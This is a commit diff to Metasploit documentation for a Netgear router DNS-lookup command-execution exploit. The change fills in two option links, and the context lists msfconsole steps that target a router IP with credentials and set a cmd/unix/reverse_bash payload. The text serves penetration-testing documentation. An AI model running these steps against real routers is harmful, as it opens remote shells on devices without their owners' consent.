Update netgear_dnslookup_cmd_exec.md

Author: cbrnrd

documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md

@@ -7,8 +7,8 @@
   1. start `msfconsole`
   2. `use exploit/linux/http/netger_dnslookup_cmd_exec`
   3. `set RHOST 192.168.1.1` `<--- Router IP`
-  4. `set USERNAME xxxx` (see [here]())
-  5. `set PASSWORD xxxx` (see [here]())
+  4. `set USERNAME xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options))
+  5. `set PASSWORD xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options))
   5. `set PAYLOAD cmd/unix/reverse_bash`
   6. `set LHOST 192.168.1.x`
   7. `set LPORT xxxx`